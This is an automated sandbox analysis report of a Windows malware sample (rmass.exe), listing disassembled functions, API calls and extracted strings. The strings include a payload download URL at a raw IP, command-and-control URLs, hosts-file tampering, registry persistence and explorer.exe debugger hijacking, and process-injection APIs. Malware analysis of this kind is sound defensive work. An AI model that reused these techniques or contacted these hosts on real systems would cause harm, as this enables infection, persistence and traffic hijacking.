Opcode ID: 6c49d30cb7cfd085e64c39e8564b64de22b5380b93ea5cf8b43f39b9431fdca1
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: 6c49d30cb7cfd085e64c39e8564b64de22b5380b93ea5cf8b43f39b9431fdca1
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 00403538

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: ee07a65170ec9875e6cec8a1061fb9ed57228e05fae16e621fb5b5c7e823afb7
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: ee07a65170ec9875e6cec8a1061fb9ed57228e05fae16e621fb5b5c7e823afb7
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Function 004045A4 Relevance: 7.5, APIs: 5, Instructions: 37filethreadCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,00000000), ref: 004045AC

Part of subcall function 00401000: RtlAllocateHeap.KERNEL32(00000000,00000014,00401EE7), ref: 00401009

ReadFile.KERNEL32(?,?,00000000,?,00000000,?,00000000), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,00401038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404613

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: CloseFileHandle$AllocateCreateHeapReadSizeThread
String ID:
API String ID: 2298506686-0
Opcode ID: eefdd6c82301b11c8a3f2834a1d386684f863ae03e616b5a4911cd5e7763898a
Instruction ID: 7c85e5a38bd0fca043c36a3770b94a92fdb65d5b8a00a63ee3faec9a2554b619
Opcode Fuzzy Hash: eefdd6c82301b11c8a3f2834a1d386684f863ae03e616b5a4911cd5e7763898a
Instruction Fuzzy Hash: 23F0A470008744BAD320AAB1CC09F6B3288DF81704F50493FB3C4F60D2EA7C99044B6A

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Function 004027EA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,modem), ref: 00402847
lstrcmpiA.KERNEL32(?,isdn), ref: 00402865

Strings

isdn, xrefs: 00402850
modem, xrefs: 00402830

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: lstrcmpi
String ID: isdn$modem
API String ID: 1586166983-1928581975
Opcode ID: 9d1eb8ad450a69b617b389cce2d7e18c356c0d03122a32f67a2284c9fb5b3dc3
Instruction ID: 1fd20589a5c177b5d244b704ac19eb0a17882c4c7e5a921d6270ae9881b3cb0b
Opcode Fuzzy Hash: 9d1eb8ad450a69b617b389cce2d7e18c356c0d03122a32f67a2284c9fb5b3dc3
Instruction Fuzzy Hash: A1019276104705ABC700EB65CA98FAB73ECAB40304F14CD3AE4D5E62C1E3BCD5448B96

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 8a2aeeabe0327aaed74bcaf7d2546734c40ed67db9af641f17f99699a9b790a4
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: 8a2aeeabe0327aaed74bcaf7d2546734c40ed67db9af641f17f99699a9b790a4
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Function 004021DA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000012,http://utbidet-ugeas.biz/d/rpt?), ref: 004021F7
lstrcat.KERNEL32(00000000,00000012), ref: 004021FD

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

Part of subcall function 004021AF: InternetCloseHandle.WININET(?), ref: 004021BA
Part of subcall function 004021AF: InternetCloseHandle.WININET(00000000), ref: 004021C2

Strings

urlinj_conn, xrefs: 004021DA
http://utbidet-ugeas.biz/d/rpt?, xrefs: 004021ED

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: Internet$Option$CloseHandlelstrcpy$Openclosesockethtonslstrcatlstrlensocket
String ID: http://utbidet-ugeas.biz/d/rpt?$urlinj_conn
API String ID: 1417007407-2018722472
Opcode ID: 63c0fb03060e40a3087bcdb5f8c1e73a61261fc6de45075c08a2d769f6268c67
Instruction ID: c17a9db8bb3a20ef78ed205b9bcaaddea2596c828afa4941c02cc09d7013ae7e
Opcode Fuzzy Hash: 63c0fb03060e40a3087bcdb5f8c1e73a61261fc6de45075c08a2d769f6268c67
Instruction Fuzzy Hash: 46D0126169074726E620B2B68E0EF6F215C8FC4344F80843B7504F65C1DA7DE441566A

Function 00403A03 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetIpAddrTable), ref: 00403A1B

Strings

_Classes, xrefs: 00403A31
GetIpAddrTable, xrefs: 00403A03, 00403A15

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: AddressProc
String ID: GetIpAddrTable$_Classes
API String ID: 190572456-3592534314
Opcode ID: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction ID: a9ff5faeca46a04752ac10b07b4ddd8daaefac53876dae9cc3ad8f1621337e6c
Opcode Fuzzy Hash: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction Fuzzy Hash: EBD0128074838269CB111A3449810191C08D6577613668F73A0D3B90D6C23C4A134A6F

Function 004039B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,RasEnumConnectionsA), ref: 004039CB

Strings

iphlpapi.dll, xrefs: 004039E1
RasEnumConnectionsA, xrefs: 004039B3, 004039C5

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: AddressProc
String ID: RasEnumConnectionsA$iphlpapi.dll
API String ID: 190572456-2181992158
Opcode ID: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction ID: 64522f513b19e0167eb2d154f3ba062aaa806500629e3d3c77fb6f15c3e75435
Opcode Fuzzy Hash: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction Fuzzy Hash: AED017E021C34278C7020B3C498101A1E0CA32B7623235F73A8A3F90D2C3BC8E169A6F

Analysis Process: rmass.exePID: 7344, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	696
Total number of Limit Nodes:	13

Executed Functions

Function 0040354A Relevance: 189.5, APIs: 31, Strings: 77, Instructions: 466
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00403578
GetVersionExA.KERNEL32(0040C0C0), ref: 00403591

Strings

UseDflProfile, xrefs: 00403E37
%ComSpec%, xrefs: 00403CE1, 004043C0
SubshellState, xrefs: 00403E91
urlinj_conn, xrefs: 00403DA7
ntdbg.exe, xrefs: 0040462A, 00404641
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004040A7
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00403EFD
http://69.50.173.166/gdnOT2424.exe, xrefs: 00403E6D
_Classes, xrefs: 00403A31
PREVED! I SMOKE GANJA EVERY DAY!, xrefs: 004048D0
explorer.exe, xrefs: 00403EC7
127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 00403F57, 00403F6E
isdn, xrefs: 00403C1B
http://%s.biz/d/N?, xrefs: 00403BD3
museum, xrefs: 00403D4D
urlinj_xfer, xrefs: 00403DCB
qnd_b__-0F, xrefs: 00404095, 004040E6
%AppData%\, xrefs: 00403D05
Connections, xrefs: 00403A79
g00d d0gg, xrefs: 00403EA3
jdial.biz, xrefs: 00403C99
DLLName, xrefs: 00403ED9
UseExtProfile, xrefs: 00403E25
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403D5F
search.yahoo., xrefs: 00403C75
ThreadingModel, xrefs: 00403F21
winrnt.exe, xrefs: 00403B67
%CommonProgramFiles%\System\, xrefs: 00403CF3
ahuy.exe, xrefs: 004049C8, 004049DF
SOFTWARE\Microsoft\Active Setup\Installed Components\, xrefs: 004049B6, 004049F1
http://utbidet-ugeas.biz/d/cc, xrefs: 00403E49
ConnPred, xrefs: 00403E13
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00403F0F
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00403B9D
idbg32.exe, xrefs: 00403BC1
rmass.exe, xrefs: 00403B79, 00404072
Debugger, xrefs: 00403D17
aset32.exe, xrefs: 00403BAF
%u.%u.%u.%s, xrefs: 00403CBD
RECOVER32.DLL, xrefs: 00403B8B
wininet.dll, xrefs: 00403A8B, 00403A9D
IsInstalled, xrefs: 00403D29
ProxyEnable, xrefs: 00403A67
--k33p, xrefs: 00403596, 0040360F
google., xrefs: 00403C63
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403D71
modem, xrefs: 00403C09
urlinj_creat, xrefs: 00403DB9
Default Flags, xrefs: 004040B9
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00403A43
{33303234-3934-3330-3234-393433303234}, xrefs: 004049A9, 004049EC
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00403A55
search.msn., xrefs: 00403C87
.google., xrefs: 00403C3F
%02X, xrefs: 004040D7
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618
urlinj_creat_f, xrefs: 00403DDD
http://%s.biz/d/G?, xrefs: 00403BE5
rasapi32.dll, xrefs: 0040398B, 004039A3
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 00403CCF, 004049A4
kernel32.dll, xrefs: 004035A8, 004035BA
http://utbidet-ugeas.biz/d/rpt?, xrefs: 00403BF7
HTTP/1.0 200, xrefs: 00403D95
grazie.gif, xrefs: 00403E5B
winlogon.exe, xrefs: 00403EB5
\drivers\etc\hosts, xrefs: 00403C2D
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00403D83
tombul.gif, xrefs: 00403E7F
nichetgp.com, xrefs: 00403CAB
Both, xrefs: 00403F33
Startup, xrefs: 00403EEB
urlinj_fork, xrefs: 00403DEF
@{@, xrefs: 0040463C
google., xrefs: 00403C51
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403E01
StubPath, xrefs: 00403D3B
iphlpapi.dll, xrefs: 004039E1, 004039F3

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: HeapProcessVersion
String ID: google.$ google.$%02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$%u.%u.%u.%s$--k33p$.google.$127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/$@{@$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$Connections$DLLName$Debugger$Default Flags$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$IsInstalled$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$PREVED! I SMOKE GANJA EVERY DAY!$ProxyEnable$RECOVER32.DLL$SOFTWARE\Microsoft\Active Setup\Installed Components\$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$Startup$StubPath$SubshellState$ThreadingModel$UseDflProfile$UseExtProfile$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$\drivers\etc\hosts$_Classes$ahuy.exe$aset32.exe$explorer.exe$g00d d0gg$grazie.gif$http://%s.biz/d/G?$http://%s.biz/d/N?$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$http://utbidet-ugeas.biz/d/rpt?$idbg32.exe$iphlpapi.dll$isdn$jdial.biz$kernel32.dll$modem$museum$nichetgp.com$ntdbg.exe$qnd_b__-0F$rasapi32.dll$rmass.exe$search.msn.$search.yahoo.$tombul.gif$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer$wininet.dll$winlogon.exe$winrnt.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}${33303234-3934-3330-3234-393433303234}
API String ID: 2203647613-3361685559
Opcode ID: 3a3414e7c555f715152d453702306f2f5b760d56576127aa51f28fe910f0bfe7
Instruction ID: 46e3c655099bbc7e29c0dce50a4e6fc886fa9d9bc8b2fe551b1869cd73b3b0bd
Opcode Fuzzy Hash: 3a3414e7c555f715152d453702306f2f5b760d56576127aa51f28fe910f0bfe7
Instruction Fuzzy Hash: CBF1D3702047409ADB30AA648A85B6F39ACE751315F14CD3BF686FA2C1D77CCA618B5F

Function 0040370C Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175
libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,CreateRemoteThread), ref: 00403724
LoadLibraryA.KERNEL32(ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 00403792
GetProcAddress.KERNEL32(00000000,ntdll.dll), ref: 0040379A
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 004037AA
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 004037BA
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 004037CA
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,00000000,RtlAdjustPrivilege,00000000,NtShutdownSystem,00000000,NtWriteVirtualMemory,00000000,ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 004037E8
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403814
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403829
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?,?,CreateRemoteThread), ref: 00403871
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 004038DA
CloseHandle.KERNEL32(?,?,CreateRemoteThread), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981

Strings

rasapi32.dll, xrefs: 0040398B
ntdll.dll, xrefs: 0040372E, 0040378D
NtWriteVirtualMemory, xrefs: 00403752, 0040379F
NtOpenProcessToken, xrefs: 004037EA, 0040380E
NtShutdownSystem, xrefs: 00403764, 004037AF
RtlAdjustPrivilege, xrefs: 00403776, 004037BF
NtAllocateVirtualMemory, xrefs: 00403740, 00403788
CreateRemoteThread, xrefs: 0040370C, 0040371E
NtQueryInformationToken, xrefs: 004037FC, 00403823

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: AddressProc$CurrentInformationQueryToken$AdjustCloseCountHandleLibraryLoadPrivilegeProcessStartupThreadTick
String ID: CreateRemoteThread$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$RtlAdjustPrivilege$ntdll.dll$rasapi32.dll
API String ID: 111222507-3799945703
Opcode ID: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction ID: da765254775b880a394b369aa104dbc8fe345ffdd81bae99228adbb332d89bff
Opcode Fuzzy Hash: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction Fuzzy Hash: 4B51D5A0708342AED7105B7949C5B1B2E8CAB16355F208A77F492F71D3D7BC9901C66F

Function 004035CF Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 132
processfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,0040AA4F), ref: 004035E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403605
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040360A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403625
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE

Strings

SD), xrefs: 004035E6
--k33p, xrefs: 0040360F
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: FileProcess$CloseCreateHandle$Process32$AddressCommandCurrentExitFirstInfoLineModuleNameNextObjectOpenProcReadSingleSizeSnapshotStartupToolhelp32Wait
String ID: --k33p$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$SD)
API String ID: 1689075337-2856972807
